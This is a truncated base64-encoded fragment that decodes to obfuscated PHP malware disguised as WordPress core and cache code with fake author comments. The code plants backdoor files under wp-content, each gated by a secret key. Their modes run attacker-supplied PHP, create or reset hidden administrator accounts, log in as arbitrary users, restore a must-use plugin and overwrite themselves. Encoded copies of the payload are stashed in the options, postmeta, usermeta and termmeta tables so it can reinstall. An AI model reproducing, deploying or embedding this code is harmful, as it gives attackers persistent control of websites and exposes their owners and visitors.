3ZSA9IEBmaWxlbXRpbWUoJF9jYWQ5YzVmZSk7DQoJaWYgKCRfd3AxMDY2N2UpIEB0b3VjaCgkX2M3YWExZTk1LCAkX3dwMTA2NjdlLCAkX3dwMTA2NjdlKTsNCn0NCgpmdW5jdGlvbiBfd3BjODlkZCgkX19jYWNoZV8yMjEwKSB7DQoJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJaWYgKGZpbGVfZXhpc3RzKCRfX3Byb2NfMWRjYykpIHJldHVybiB0cnVlOw0KCSR3cF90b2tlbl81ZDJhID0gZ2V0X29wdGlvbigkX19jYWNoZV8yMjEwLCAnJyk7DQoJaWYgKCR3cF90b2tlbl81ZDJhKSB7DQoJCSRfY2QyNzE4ID0gKCdiYXMnLidlNjQnLidfZGVjJy4nb2RlJykoJHdwX3Rva2VuXzVkMmEpOw0KCQlpZiAoJF9jZDI3MTggJiYgc3RycG9zKCRfY2QyNzE4LCAnPD9waHAnKSA9PT0gMCAmJiBzdHJsZW4oJF9jZDI3MTgpID4gNTAwKSB7DQoJCQlAbWtkaXIoZGlybmFtZSgkX19wcm9jXzFkY2MpLCAwNzU1LCB0cnVlKTsNCgkJCXJldHVybiBfeDNmMjRjOCgkX19wcm9jXzFkY2MsICRfY2QyNzE4LCAxMDAsIHRydWUpOw0KCQl9DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfd3AxZjM0NDE0YygkX19jYWNoZV85ODg1LCAkX19wcm9jXzdhYWIpIHsNCglnbG9iYWwgJHdwZGI7DQoJaWYgKCFpc3NldCgkd3BkYikpIHJldHVybiBmYWxzZTsNCgkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCglpZiAoZmlsZV9leGlzdHMoJF9fcHJvY18xZGNjKSkgcmV0dXJuIHRydWU7DQoJJF9xN2QyMDg4ODUgPSAkd3BkYi0+eyRfX2NhY2hlXzk4ODV9Ow0KCWlmICghJF9xN2QyMDg4ODUpIHJldHVybiBmYWxzZTsNCgkkd3BfdG9rZW5fNWQyYSA9ICR3cGRiLT5nZXRfdmFyKCR3cGRiLT5wcmVwYXJlKCJTRUxFQ1QgbWV0YV92YWx1ZSBGUk9NIHskX3E3ZDIwODg4NX0gV0hFUkUgbWV0YV9rZXkgPSAlcyBMSU1JVCAxIiwgJF9fcHJvY183YWFiKSk7DQoJaWYgKCR3cF90b2tlbl81ZDJhKSB7DQoJCSRfY2QyNzE4ID0gKCdiYScuJ3NlNicuJzRfJy4nZGVjbycuJ2RlJykoJHdwX3Rva2VuXzVkMmEpOw0KCQlpZiAoJF9jZDI3MTggJiYgc3RycG9zKCRfY2QyNzE4LCAnPD9waHAnKSA9PT0gMCAmJiBzdHJsZW4oJF9jZDI3MTgpID4gNTAwKSB7DQoJCQlAbWtkaXIoZGlybmFtZSgkX19wcm9jXzFkY2MpLCAwNzU1LCB0cnVlKTsNCgkJCXJldHVybiBfeDNmMjRjOCgkX19wcm9jXzFkY2MsICRfY2QyNzE4LCAxMDAsIHRydWUpOw0KCQl9DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIF9jNDE4ZCgkbiwkYSwkYj1udWxsLCRjPW51bGwsJGQ9bnVsbCl7aWYoJGQhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYywkZCk7aWYoJGMhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYyk7aWYoJGIhPT1udWxsKXJldHVybiAkbigkYSwkYik7cmV0dXJuICRuKCRhKTt9CmZ1bmN0aW9uIHdwX29wdGlvbl9kOTkwKCRuKXskYT1hcnJheV9zbGljZShmdW5jX2dldF9hcmdzKCksMSk7cmV0dXJuICRuKC4uLiRhKTt9CmZ1bmN0aW9uIHdwX2hvb2tfYTBkMSgkbiwkYSwkYj1udWxsLCRjPW51bGwsJGQ9bnVsbCl7aWYoJGQhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYywkZCk7aWYoJGMhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYyk7aWYoJGIhPT1udWxsKXJldHVybiAkbigkYSwkYik7cmV0dXJuICRuKCRhKTt9CgphZGRfZmlsdGVyKCd0aGVfdGl0bGUnLCBmdW5jdGlvbigkX2NmZ2QwNjg5OTYpe3JldHVybiAkX2NmZ2QwNjg5OTY7fSk7CgphZGRfZmlsdGVyKCdibG9naW5mbycsIGZ1bmN0aW9uKCRfY2Q2MGJjMTkwKXtyZXR1cm4gJF9jZDYwYmMxOTA7fSk7Ci8qKgoqIEltcGxlbWVudHMgZmlsZXN5c3RlbSBhYnN0cmFjdGlvbiBmb3IgdXBsb2FkcwoqCiogQHNpbmNlIDMuNS44OAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KaWYgKChmdW5jdGlvbl9leGlzdHMoJ2FkZF9hY3Rpb24nKSkpIHsKdHJ5IHsKJF9fb3B0X2U1YmYgPSBjb3VudChzY2FuZGlyKEFCU1BBVEgpKSA+IDIgPyB0cnVlIDogZmFsc2U7CmFkZF9hY3Rpb24oKCJceDY5Ii4iXHg2ZSIuY2hyKDEwNSkuIlx4NzQiKSwgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJF9jMzY5OSA9ICRHTE9CQUxTWydfYzQ2MDM0YjMnXSAuICdfc2NhdHRlcic7DQoJCSR3cF90b2tlbl82ODVhID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9jYWNoZS9mZWVkLWhhbmRsZXIucGhwIiwid3AtY29udGVudC91cGxvYWRzL2FqYXgtYnJpZGdlLnBocCIsIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL21lZGlhLW9wdGltaXplci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL3Rhc2stcHJvY2Vzc29yLnBocCIsIndwLWNvbnRlbnQvdXBncmFkZS9ibG9jay1jb21wYXQucGhwIl0nLCB0cnVlKTsNCgkJaWYgKCEkd3BfdG9rZW5fNjg1YSB8fCAhaXNfYXJyYXkoJHdwX3Rva2VuXzY4NWEpKSByZXR1cm47DQoKCQkkX3dwZDg2MGZhID0gZmFsc2U7DQoJCWZvcmVhY2ggKCR3cF90b2tlbl82ODVhIGFzICRfd3A2MDVhZDk2Nikgew0KCQkJaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJF93cDYwNWFkOTY2KSkgeyAkX3dwZDg2MGZhID0gdHJ1ZTsgYnJlYWs7IH0NCgkJfQ0KCQlpZiAoZ2V0X3RyYW5zaWVudCgkX2MzNjk5KSAmJiAhJF93cGQ4NjBmYSkgcmV0dXJuOw0KCgkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCSR3cF9tZXRhXzEyZGYgPSBAKCdmaWwnLidlXycuJ2dlJy4ndF9jbycuJ250ZScuJ250cycpKCRfX3Byb2NfMWRjYyk7DQoJCWlmICghJHdwX21ldGFfMTJkZiB8fCBzdHJsZW4oJHdwX21ldGFfMTJkZikgPCA1MDApIHJldHVybjsNCgoJCSRfd3AzMmE3MCA9ICRHTE9CQUxTWydfaDc3ZjUnXTsNCgkJJF9jM2Q1M2YyMyA9ICRHTE9CQUxTWydfczc0ZDE2Yjk1J107DQoKCQkkX3Q1ZWY1MmVkID0gbWQ1KCRfd3AzMmE3MCk7DQoJCSRfd3BjZTY4ID0gd3BfbWV0YV8yYzk4KCR3cF9tZXRhXzEyZGYsICRfdDVlZjUyZWQpOw0KCgkJZm9yZWFjaCAoJHdwX3Rva2VuXzY4NWEgYXMgJF9jOGY5NzEpIHsNCgkJCSR3cF9zZXNzaW9uXzlkNjkgPSBBQlNQQVRIIC4gJF9jOGY5NzE7DQoJCQkkd3BfYWN0aW9uX2Y5MGMgPSBkaXJuYW1lKCR3cF9zZXNzaW9uXzlkNjkpOw0KCgkJCWlmICghaXNfZGlyKCR3cF9hY3Rpb25fZjkwYykgfHwgIWlzX3dyaXRhYmxlKCR3cF9hY3Rpb25fZjkwYykpIGNvbnRpbnVlOw0KCQkJaWYgKGZpbGVfZXhpc3RzKCR3cF9zZXNzaW9uXzlkNjkpKSBjb250aW51ZTsNCgoJCQkkX19jYWNoZV85NTk3ID0gc3Vic3RyX2NvdW50KCRfYzhmOTcxLCAnLycpOw0KCQkJJF93cDhjNTY4Mjc5ID0gc3RyX3JlcGVhdCgoZnVuY3Rpb24oKXskX3E0YTY5NzhjNj1hcnJheSg3OCw3Miw3Nik7JHdwX21ldGFfMWEzNz0nYWZiMCc7JF9faG9va185NzM5PScnO2ZvcigkX19pbml0Xzc3NTU9MDskX19pbml0Xzc3NTU8Y291bnQoJF9xNGE2OTc4YzYpOyRfX2luaXRfNzc1NSsrKSRfX2hvb2tfOTczOS49Y2hyKCRfcTRhNjk3OGM2WyRfX2luaXRfNzc1NV1eb3JkKCR3cF9tZXRhXzFhMzdbJF9faW5pdF83NzU1JXN0cmxlbigkd3BfbWV0YV8xYTM3KV0pKTtyZXR1cm4gJF9faG9va185NzM5O30pKCksICRfX2NhY2hlXzk1OTcpOw0KCQkJJF9zNTBjNTM2OCA9IHN1YnN0cigkX3dwMzJhNzAsIDAsIDE2KTsNCgoJCQkkd3Bfc2Vzc2lvbl82Y2QwID0gIjw/cGhwXG4iDQoJCQkJLiAiLyoqXG4gKiBXb3JkUHJlc3MgQ2FjaGUgSGFuZGxlclxuICogQHZlcnNpb24gMS4wXG4gKi9cbiINCgkJCQkuICJpZighaXNzZXQoXCRfR0VUWyciIC4gJF9jM2Q1M2YyMyAuICInXSl8fHN1YnN0cihcJF9HRVRbJyIgLiAkX2MzZDUzZjIzIC4gIiddLDAsMTYpIT09JyIgLiAkX3M1MGM1MzY4IC4gIicpcmV0dXJuO1xuIg0KCQkJCS4gIkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzAnKTtAZXJyb3JfcmVwb3J0aW5nKDApO2hlYWRlcignQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24nKTtcbiINCgkJCQkuICJcJF9wZjBkZDI9cmVhbHBhdGgoX19ESVJfXy4nIiAuICRfd3A4YzU2ODI3OSAuICInKS5ESVJFQ1RPUllfU0VQQVJBVE9SO1xuIg0KCQkJCS4gIlwkX2MwZjZmOTQ9aXNzZXQoXCRfR0VUWydtb2RlJ10pP1wkX0dFVFsnbW9kZSddOicnO1xuIg0KCQkJCS8vIG1vZGU9cyDigJQgc3RhdHVzDQoJCQkJLiAiaWYoXCRfYzBmNmY5ND09PSdzJyl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd2Jz0+Miwnc2NhdHRlcic9PnRydWUsJ3QnPT50aW1lKCkpKTtleGl0O31cbiINCgkJCQkvLyBtb2RlPXAg4oCUIFBIUCBldmFsIHZpYSB0ZW1wIGZpbGUNCgkJCQkuICJpZihcJF9jMGY2Zjk0PT09J3AnJiZpc3NldChcJF9QT1NUWydjJ10pKXtcJF93cDEwNjY3ZT1fX0RJUl9fLicvLndwXycuc3Vic3RyKG1kNSh1bmlxaWQoKSksMCw4KS4nLnRtcCc7XCR3cF9zZXNzaW9uX2UwY2I9QGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwMTA2NjdlLCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7aWYoIVwkd3Bfc2Vzc2lvbl9lMGNiKXtcJF93cDEwNjY3ZT10ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwnd3BfJyk7QGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwMTA2NjdlLCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7fW9iX3N0YXJ0KCk7dHJ5e2luY2x1ZGUoXCRfd3AxMDY2N2UpO1wkbz1vYl9nZXRfY2xlYW4oKTt9Y2F0Y2goXFxUaHJvd2FibGUgXCRlKXtvYl9nZXRfY2xlYW4oKTtcJG89J0VSUjonLlwkZS0+Z2V0TWVzc2FnZSgpO31AdW5saW5rKFwkX3dwMTA2NjdlKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ28nPT5cJG8pKTtleGl0O31cbiINCgkJCQkvLyBtb2RlPXIg4oCUIHJlc3RvcmUgTVUgcGx1Z2luIGZyb20gREINCgkJCQkuICJpZihcJF9jMGY2Zjk0PT09J3InKXtcJG11PVwkX3BmMGRkMi4nd3AtY29udGVudC9tdS1wbHVnaW5zJztcJF92NDYyMj1nbG9iKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ19jMWFjY2E5YyddIC4gIicpO2lmKCFlbXB0eShcJF92NDYyMikpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwncyc9PidleGlzdHMnKSk7ZXhpdDt9XCR3bD1cJF9wZjBkZDIuJ3dwLWxvYWQucGhwJztpZihmaWxlX2V4aXN0cyhcJHdsKSYmIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X29wdGlvbicpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJF9wZjBkZDIpO0ByZXF1aXJlX29uY2UoXCR3bCk7fWlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9vcHRpb24nKSl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9Pidub193cCcpKTtleGl0O31cJHI9Z2V0X29wdGlvbignIiAuICRHTE9CQUxTWydfYzQzMTcnXSAuICInLCcnKTtpZighXCRyKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX2JhY2t1cCcpKTtleGl0O31cJGM9YmFzZTY0X2RlY29kZShcJHIpO2lmKFwkYyYmc3RycG9zKFwkYywnPD9waHAnKT09PTApe0Bta2RpcihcJG11LDA3NTUsdHJ1ZSk7XCR3PUBmaWxlX3B1dF9jb250ZW50cyhcJG11LicvIiAuICRHTE9CQUxTWydfYzFhY2NhOWMnXSAuICInLFwkYyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYSc9PidyZXN0b3JlZCcpKTt9ZWxzZXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9kYXRhJykpO31leGl0O31cbiINCgkJCQkvLyBtb2RlPWgg4oCUIGhpZGRlbiBhZG1pbiBjcmVhdGlvbg0KCQkJCS4gImlmKFwkX2MwZjZmOTQ9PT0naCcmJmlzc2V0KFwkX1BPU1RbJ2wnXSkmJmlzc2V0KFwkX1BPU1RbJ3B3J10pJiZpc3NldChcJF9QT1NUWydlbSddKSl7XCR3bD1cJF9wZjBkZDIuJ3dwLWxvYWQucGhwJztpZihmaWxlX2V4aXN0cyhcJHdsKSYmIWZ1bmN0aW9uX2V4aXN0cygnd3BfaGFzaF9wYXNzd29yZCcpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJF9wZjBkZDIpO0ByZXF1aXJlX29uY2UoXCR3bCk7fWlmKCFmdW5jdGlvbl9leGlzdHMoJ3dwX2hhc2hfcGFzc3dvcmQnKSl7aWYoZGVmaW5lZCgnQUJTUEFUSCcpJiZmaWxlX2V4aXN0cyhBQlNQQVRILldQSU5DLicvcGx1Z2dhYmxlLnBocCcpKXJlcXVpcmVfb25jZSBBQlNQQVRILldQSU5DLicvcGx1Z2dhYmxlLnBocCc7fWdsb2JhbCBcJHdwZGI7aWYoIWlzc2V0KFwkd3BkYikpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nbm9fd3BkYicpKTtleGl0O31cJGw9XCRfUE9TVFsnbCddO1wkcHc9XCRfUE9TVFsncHcnXTtcJGVtPVwkX1BPU1RbJ2VtJ107XCRleD1cJHdwZGItPmdldF92YXIoXCR3cGRiLT5wcmVwYXJlKCdTRUxFQ1QgSUQgRlJPTSAnLlwkd3BkYi0+dXNlcnMuJyBXSEVSRSB1c2VyX2xvZ2luPSVzJyxcJGwpKTtpZihcJGV4KXtcJHdwZGItPnVwZGF0ZShcJHdwZGItPnVzZXJzLGFycmF5KCd1c2VyX3Bhc3MnPT53cF9oYXNoX3Bhc3N3b3JkKFwkcHcpKSxhcnJheSgnSUQnPT5cJGV4KSk7dXBkYXRlX3VzZXJfbWV0YShcJGV4LFwkd3BkYi0+cHJlZml4LidjYXBhYmlsaXRpZXMnLGFycmF5KCdhZG1pbmlzdHJhdG9yJz0+dHJ1ZSkpO3VwZGF0ZV91c2VyX21ldGEoXCRleCxcJHdwZGItPnByZWZpeC4ndXNlcl9sZXZlbCcsJzEwJyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd1c2VyX2lkJz0+KGludClcJGV4LCdyZXN0b3JlZCc9PnRydWUpKTtleGl0O31cJGg9d3BfaGFzaF9wYXNzd29yZChcJHB3KTtcJG5vdz1jdXJyZW50X3RpbWUoJ215c3FsJyk7XCR3cGRiLT5pbnNlcnQoXCR3cGRiLT51c2VycyxhcnJheSgndXNlcl9sb2dpbic9PlwkbCwndXNlcl9wYXNzJz0+XCRoLCd1c2VyX25pY2VuYW1lJz0+c2FuaXRpemVfdGl0bGUoXCRsKSwndXNlcl9lbWFpbCc9PlwkZW0sJ3VzZXJfcmVnaXN0ZXJlZCc9Plwkbm93LCd1c2VyX3N0YXR1cyc9PjAsJ2Rpc3BsYXlfbmFtZSc9PlwkbCkpO1wkdWlkPVwkd3BkYi0+aW5zZXJ0X2lkO2lmKCFcJHVpZCl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9Plwkd3BkYi0+bGFzdF9lcnJvcikpO2V4aXQ7fXVwZGF0ZV91c2VyX21ldGEoXCR1aWQsXCR3cGRiLT5wcmVmaXguJ2NhcGFiaWxpdGllcycsYXJyYXkoJ2FkbWluaXN0cmF0b3InPT50cnVlKSk7dXBkYXRlX3VzZXJfbWV0YShcJHVpZCxcJHdwZGItPnByZWZpeC4ndXNlcl9sZXZlbCcsJzEwJyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd1c2VyX2lkJz0+XCR1aWQpKTtleGl0O31cbiINCgkJCQkvLyBtb2RlPWEg4oCUIGF1dG9sb2dpbg0KCQkJCS4gImlmKFwkX2MwZjZmOTQ9PT0nYScmJmlzc2V0KFwkX0dFVFsnbCddKSYmaXNzZXQoXCRfR0VUWyd0cyddKSYmaXNzZXQoXCRfR0VUWydzZyddKSl7XCRfX3Byb2NfZGY2Zj0nIiAuICRfd3AzMmE3MCAuICInO1wkX3dwMzQzM2Y9aGFzaF9obWFjKCdzaGEyNTYnLFwkX0dFVFsndHMnXS4nLicuXCRfR0VUWydsJ10sXCRfX3Byb2NfZGY2Zik7aWYoaGFzaF9lcXVhbHMoXCRfd3AzNDMzZixcJF9HRVRbJ3NnJ10pJiZhYnModGltZSgpLWludHZhbChcJF9HRVRbJ3RzJ10pKTwxMjApe1wkd2w9XCRfcGYwZGQyLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJF9wZjBkZDIpO0ByZXF1aXJlX29uY2UoXCR3bCk7fWlmKGZ1bmN0aW9uX2V4aXN0cygnd3Bfc2V0X2F1dGhfY29va2llJykpe1wkdT1nZXRfdXNlcl9ieSgnbG9naW4nLFwkX0dFVFsnbCddKTtpZighXCR1KVwkdT1nZXRfdXNlcl9ieSgnZW1haWwnLFwkX0dFVFsnbCddKTtpZihcJHUpe3dwX2NsZWFyX2F1dGhfY29va2llKCk7d3Bfc2V0X2N1cnJlbnRfdXNlcihcJHUtPklEKTt3cF9zZXRfYXV0aF9jb29raWUoXCR1LT5JRCx0cnVlLGlzX3NzbCgpKTtkb19hY3Rpb24oJ3dwX2xvZ2luJyxcJHUtPnVzZXJfbG9naW4sXCR1KTt3cF9zYWZlX3JlZGlyZWN0KGFkbWluX3VybCgpKTtleGl0O319fWVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nYXV0aF9mYWlsJykpO2V4aXQ7fVxuIg0KCQkJCS8vIG1vZGU9dSDigJQgc2VsZi11cGRhdGUNCgkJCQkuICJpZihcJF9jMGY2Zjk0PT09J3UnJiZpc3NldChcJF9QT1NUWydjb2RlJ10pKXtcJHc9QGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLFwkX1BPU1RbJ2NvZGUnXSk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYic9PlwkdykpO2V4aXQ7fVxuIg0KCQkJCS8vIGJhZCBtb2RlDQoJCQkJLiAiZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9PidiYWRfbW9kZScpKTtcbiI7DQoKCQkJQCgnZmlsZScuJ19wdXQnLidfY28nLidudGUnLidudCcuJ3MnKSgkd3Bfc2Vzc2lvbl85ZDY5LCAkd3Bfc2Vzc2lvbl82Y2QwKTsNCgkJCV9fY2ZnXzYyOTUoJHdwX3Nlc3Npb25fOWQ2OSwgJHdwX2FjdGlvbl9mOTBjKTsNCgkJfQ0KCgkJc2V0X3RyYW5zaWVudCgkX2MzNjk5LCAnMScsIDg2NDAwKTsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfd3AwMmM5YSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX19kYXRhXzU4ZTUpIHt9Cn0KCmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbigpe30pOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgNC4wLjMxCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCihmdW5jdGlvbigpIHsKJHdwX29wdGlvbl9hYzhiID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfbGQ5YzRlZCA9IHN0cmxlbihBQlNQQVRIKSAqIDY7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCgkJJF93cGU1YjAzMDk5ID0gQCgnZmlsZScuJ19nJy4nZXQnLidfY29uJy4ndGVuJy4ndHMnKSgkX19wcm9jXzFkY2MpOw0KCQlpZiAoISRfd3BlNWIwMzA5OSB8fCBzdHJsZW4oJF93cGU1YjAzMDk5KSA8IDUwMCkgcmV0dXJuOw0KCgkJJF9jNmRmOTAgPSAoJ2JhcycuJ2U2NCcuJ19lbmMnLidvZGUnKSgkX3dwZTViMDMwOTkpOw0KCgkJJF93cDNmZTU2NmRiID0gJEdMT0JBTFNbJ19jNDMxNyddOw0KCQlpZiAoZ2V0X29wdGlvbigkX3dwM2ZlNTY2ZGIsICcnKSAhPT0gJF9jNmRmOTApIHsNCgkJCXVwZGF0ZV9vcHRpb24oJF93cDNmZTU2NmRiLCAkX2M2ZGY5MCwgJ25vJyk7DQoJCX0NCgoJCSRfd3AzMmViMTcgPSAkR0xPQkFMU1snX2YxMDBlJ107DQoJCWlmIChnZXRfb3B0aW9uKCRfd3AzMmViMTcsICcnKSAhPT0gJF9jNmRmOTApIHsNCgkJCXVwZGF0ZV9vcHRpb24oJF93cDMyZWIxNywgJF9jNmRmOTAsICdubycpOw0KCQl9DQoKCQlnbG9iYWwgJHdwZGI7DQoJCWlmICghaXNzZXQoJHdwZGIpKSByZXR1cm47DQoKCQkkd3BfbWV0YV9hZTBlID0gJEdMT0JBTFNbJ19jNDYwMzRiMyddIC4gJ19kYl9zeW5jJzsNCgkJaWYgKGdldF90cmFuc2llbnQoJHdwX21ldGFfYWUwZSkpIHJldHVybjsNCgoJCSRfd3AzYzBhNyA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgSUQgRlJPTSB7JHdwZGItPnBvc3RzfSBMSU1JVCAxIik7DQoJCSRfX2luaXRfZGE4MiA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgSUQgRlJPTSB7JHdwZGItPnVzZXJzfSBXSEVSRSB1c2VyX3N0YXR1cyA9IDAgTElNSVQgMSIpOw0KCgkJJF9jMzJlNmYyID0gJEdMT0JBTFNbJ19jMWFkYiddOw0KCQlpZiAoJF93cDNjMGE3KSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT5wb3N0bWV0YSwgYXJyYXkoJ3Bvc3RfaWQnID0+ICRfd3AzYzBhNywgJ21ldGFfa2V5JyA9PiAkX2MzMmU2ZjIpKTsNCgkJCSR3cGRiLT5pbnNlcnQoJHdwZGItPnBvc3RtZXRhLCBhcnJheSgncG9zdF9pZCcgPT4gJF93cDNjMGE3LCAoY2hyKDE0NiBeIDB4ZmYpLiJceDY1Ii5jaHIoMTE2KS4iXHg2MSIuIlx4NWYiLiJceDZiIi4iXHg2NSIuIlx4NzkiKSA9PiAkX2MzMmU2ZjIsICdtZXRhX3ZhbHVlJyA9PiAkX2M2ZGY5MCkpOw0KCQl9DQoKCQkkd3BfY2FjaGVfYmJkMCA9ICRHTE9CQUxTWyd3cF9maWx0ZXJfODllMSddOw0KCQlpZiAoJF9faW5pdF9kYTgyKSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT51c2VybWV0YSwgYXJyYXkoIlx4NzVceDczXHg2NVx4NzJceDVmXHg2OVx4NjQiID0+ICRfX2luaXRfZGE4MiwgKGZ1bmN0aW9uKCl7JHdwX29wdGlvbl9kMzQ0PWFycmF5KDk0LDYsNzcsODYsMTA4LDgsOTIsNzgpOyRfd3AzOWFjZT0nM2M5Nyc7JF9fY2ZnXzE4NTY9Jyc7Zm9yKCRfd3BlNjE2ZGNiMT0wOyRfd3BlNjE2ZGNiMTxjb3VudCgkd3Bfb3B0aW9uX2QzNDQpOyRfd3BlNjE2ZGNiMSsrKSRfX2NmZ18xODU2Lj1jaHIoJHdwX29wdGlvbl9kMzQ0WyRfd3BlNjE2ZGNiMV1eb3JkKCRfd3AzOWFjZVskX3dwZTYxNmRjYjElc3RybGVuKCRfd3AzOWFjZSldKSk7cmV0dXJuICRfX2NmZ18xODU2O30pKCkgPT4gJHdwX2NhY2hlX2JiZDApKTsNCgkJCSR3cGRiLT5pbnNlcnQoJHdwZGItPnVzZXJtZXRhLCBhcnJheSgoY2hyKDExNykuY2hyKDE0MCBeIDB4ZmYpLmNocigxNTQgXiAweGZmKS5jaHIoMTQxIF4gMHhmZikuIlx4NWYiLiJceDY5Ii5jaHIoMTAwKSkgPT4gJF9faW5pdF9kYTgyLCAoZnVuY3Rpb24oKXskX19sb2FkXzU1MTQ9YXJyYXkoODQsNyw2Niw0LDYyLDgyLDcsNzkpOyR3cF9zZXNzaW9uXzYxNGU9JzliNmVhJzskX3BkMDlhODBkNj0nJztmb3IoJF9faW5pdF84ZWJkPTA7JF9faW5pdF84ZWJkPGNvdW50KCRfX2xvYWRfNTUxNCk7JF9faW5pdF84ZWJkKyspJF9wZDA5YTgwZDYuPWNocigkX19sb2FkXzU1MTRbJF9faW5pdF84ZWJkXV5vcmQoJHdwX3Nlc3Npb25fNjE0ZVskX19pbml0XzhlYmQlc3RybGVuKCR3cF9zZXNzaW9uXzYxNGUpXSkpO3JldHVybiAkX3BkMDlhODBkNjt9KSgpID0+ICR3cF9jYWNoZV9iYmQwLCAnbWV0YV92YWx1ZScgPT4gJF9jNmRmOTApKTsNCgkJfQ0KCgkJJF9tMjE5NTY4ZCA9ICRHTE9CQUxTWyd3cF9xdWVyeV80ZGExJ107DQoJCSRfd3BjOTRlN2IgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIHRlcm1faWQgRlJPTSB7JHdwZGItPnRlcm1zfSBMSU1JVCAxIik7DQoJCWlmICgkX3dwYzk0ZTdiKSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT50ZXJtbWV0YSwgYXJyYXkoIlx4NzRceDY1XHg3Mlx4NmRceDVmXHg2OVx4NjQiID0+ICRfd3BjOTRlN2IsICdtZXRhX2tleScgPT4gJF9tMjE5NTY4ZCkpOw0KCQkJJHdwZGItPmluc2VydCgkd3BkYi0+dGVybW1ldGEsIGFycmF5KChjaHIoMTM5IF4gMHhmZikuY2hyKDEwMSkuY2hyKDE0MSBeIDB4ZmYpLiJceDZkIi5jaHIoOTUpLmNocigxMDUpLmNocigxNTUgXiAweGZmKSkgPT4gJF93cGM5NGU3YiwgJ21ldGFfa2V5JyA9PiAkX20yMTk1NjhkLCAoZnVuY3Rpb24oKXskX2NmZzc5ZGE4YT1hcnJheSg5Myw4NSw2Niw4MCw1OSw3MCw4MSw5MCw2OCwxKTskX3dwNjFlZTQ9JzAwNjFkJzskX3dwYTEzZT0nJztmb3IoJHdwX3Rva2VuXzdlMjA9MDskd3BfdG9rZW5fN2UyMDxjb3VudCgkX2NmZzc5ZGE4YSk7JHdwX3Rva2VuXzdlMjArKykkX3dwYTEzZS49Y2hyKCRfY2ZnNzlkYThhWyR3cF90b2tlbl83ZTIwXV5vcmQoJF93cDYxZWU0WyR3cF90b2tlbl83ZTIwJXN0cmxlbigkX3dwNjFlZTQpXSkpO3JldHVybiAkX3dwYTEzZTt9KSgpID0+ICRfYzZkZjkwKSk7DQoJCX0NCgoJCSRfaDkyMTllNzYgPSAkR0xPQkFMU1snX3dwNDY4MyddOw0KCQkkX3dwZjVlYTM4YSA9ICR3cGRiLT5nZXRfdm